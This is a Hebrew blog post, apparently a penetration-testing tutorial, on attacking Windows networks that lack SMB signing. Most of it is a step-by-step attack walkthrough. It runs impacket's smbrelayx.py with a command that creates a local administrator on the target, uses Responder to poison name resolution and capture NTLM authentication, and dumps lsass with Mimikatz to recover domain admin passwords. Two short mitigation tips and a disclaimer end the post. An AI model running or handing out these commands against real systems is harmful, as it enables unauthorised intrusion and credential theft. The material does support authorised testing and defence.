ניצול היעדר מנגנון SMB signing ע"י מתקפת SMB Relay

SMB Signing הוא מנגנון הגנה המונע התערבות ושינוי של שיחות SMB בין מחשבים. המנגנון מייצר HASH לנתוני ה SMB שמועברים ומצרף את זה לפקטה. במידה והחתימה של ה HASH לא תואמת את נתוני ה -SMB בתחנת הקצה, תחנת הקצה יכולה לדעת שחיבלו בנתוני ה SMB המקוריים ולהתעלם מהפקטה.

בהיעדר שימוש במנגנון זה חושף את הארגון להתקפות Man in the middle. ומאפשר לבצע "חטיפה" של החיבור המשותף בין שני מחשבים ברשת על בסיס שימוש בפרוטוקול SMB. התוקף יכול לקבל, לעצור ולשלוח מידע חזרה למשתמש מבלי שהאחרון יידע כלל על התערבותו.

על מנת לבצע את ההתקפה, נשתמש ב-

  • Kali  – גרסה 2020
  • Windows 7/8/10 Server 2008/2012

תחילה נוריד את הקבצים

git clone https://github.com/SecureAuthCorp/impacket.git

נעבור לתיקיה

cd impacket/examples/

לפני שנמשיך חשוב להבין שהתקפה ממשפחת MAN In The Middle –  התוקף מעביר את בקשות ה- SMB שעוברות ברשת אל כתובת IP ספציפית שאותה הגדיר מראש וסימן אותה כיעד, בשילוב של פקודה של יצירת משתמש מקומי בעל הרשאות Local Admin לאותו יעד ברשת, בכדי שפקודות אלו יתבצעו צריך התוקף לחכות שרק משתמש בעל הרשות גבוהות ברשת יעבור דרך ה- SMBRelay שלו אחרת תתקבל הודעה המציגה שאין הרשאות לבצע את הפקודות.

טוב נחזור לעיקר :  הפקודה ליצירת משתמש לוקלי על שרת/מחשב הנתקף :

sudo python smbrelayx.py -h [target IP] -c "net user [User] [Password] /add && net localgroup administrators [User]/add”

תהליך זה יעיל יותר כאשר משלבים את התקפת ה- Smbrelay עם כלי Responder

Responder  – יושב על הרשת בשקט יחסי ומנסה למשוך אליו תקשורת מסוג LLMNR ,NBT-NS או  MDNS שאינה מקבלת מענה, הוא מסוגל להתחזות לשירותים שונים כמו SMTP , FTP ,SQL ועוד ולחכות שהקרבן פשוט ישלח אליו את הסיסמאות. ברשתות מתחם כפי שכבר הסברנו האימות ברשת מתבצע באמצעות קרברוס שלא מאפשר פיצוח של תשובת האתגר בפשטות כמו בפרוטוקול ה-NTLM. ריספונדר מאזין לרשת ולבקשות שונות, הוא מכריח את הלקוח/קרבן להתחבר אליו ישירות דרך כתובת ה-IP .מסיבה לא ברורה, מערכות מיקרוסופט משנמכות לאימות מסוג NTLM במקום קרברוס כאשר הן פונות לשירותי רשת באמצעות כתובת IP) כנראה מתוך הנחה שמחשבים במתחם מיקרוסופט יחזיקו שם מחשב נורמאלי בפרוטקול NBNS או DNS .(ברגע שהלקוח מוכן לעבוד ב-NTLM ,שוב אנחנו שולחים לו אתגר ואת התשובה מנסים לפצח תוך שימוש בכל שיטות ניחוש הסיסמאות המוכרות לנו.

לכן נפתח חלון חדש ונשתמש בפקודה :

sudo responder -I eth0 -wrf

אז מה עכשיו ? פשוט ממתינים ברשת עד שיגיע משתמש בעל הרשאות שיוכל ליצור לנו משתמש

וככה זה נראה שזה מצליח :

בשלב הבא נתחבר עם משתמש לוקלי לשרת

בונוס קטן – בשלב הבא על מנת לקבל  הרשאות של דומיין אדמין – נוציא dump של קובץ ה lsass

קובץ Lsass הינו תהליך בסיסי וחיוני ביותר של מערכות ההפעלה מבית Microsoft והוא אחראי על מספר תחומי אחריות במערך האבטחה של המחשב:

ביניהם אימות נתוני המשתמשים (Users) במחשב/ברשת – התהליך אחראי על בדיקת נתוני הזהות של המשתמשים  המבקשים לבצע שימוש במחשב/להתחבר לשרת.

שליפת קובץ Lsass.exe מתוך המחשב/שרת מתאפשר רק למשתמשים בעלי הרשאות גבוהות Local Admin.

ניתן לשלוף את הקובץ באמצעות פתיחה של ה- Task Manager   סימון התהליך הנדרש Lsass.exe  ו- Create dump file.

שלבי פענוח קובץ Lsass באמצעות Mimikatz :

ישנן שתי גרסאות של Mimikatz  : 32bit ו- 64bit וצריך לשים לב במקרים שבהם הוצאנו קובץ Lsass מתוך מערכת הפעלה שעובדת בתצורה של 64Bit יש לפענח את הקובץ עם הגרסה המתאימה.

(פענוח תהליך ה- Lsass עובד לגרסאות הבאות: windows xp,7,8  ו-  windows Server 2003,2008 , 2008 r2)

נוריד את המימיקז מ –

https://github.com/gentilkiwi/mimikatz

ונשתמש בפקודות

sekurlsa::minidump C:\Users\p3r\Desktop\lsass.DMP
sekurlsa::logonpasswords

נקבל שם משתמש וסיסמא עם הרשאות של דומיין אדמין 😊

המלצה מס' 1 :

חתימת שרתים ותחנות קצה בארגון שלכם על ידי הGPO

המלצה 2 :

חסימת אפשרות ליצירת DUMP של קובץ הLsass על ידי הGPO

הערות:

  1. האחריות על המשתמש בלבד.

להשאיר תגובה

הזינו את פרטיכם בטופס, או לחצו על אחד מהאייקונים כדי להשתמש בחשבון קיים:

הלוגו של WordPress.com

אתה מגיב באמצעות חשבון WordPress.com שלך. לצאת מהמערכת /  לשנות )

תמונת גוגל

אתה מגיב באמצעות חשבון Google שלך. לצאת מהמערכת /  לשנות )

תמונת Twitter

אתה מגיב באמצעות חשבון Twitter שלך. לצאת מהמערכת /  לשנות )

תמונת Facebook

אתה מגיב באמצעות חשבון Facebook שלך. לצאת מהמערכת /  לשנות )

מתחבר ל-%s

מבית WordPress.com. ערכת עיצוב: Baskerville 2 של Anders Noren.

למעלה ↑

%d בלוגרים אהבו את זה: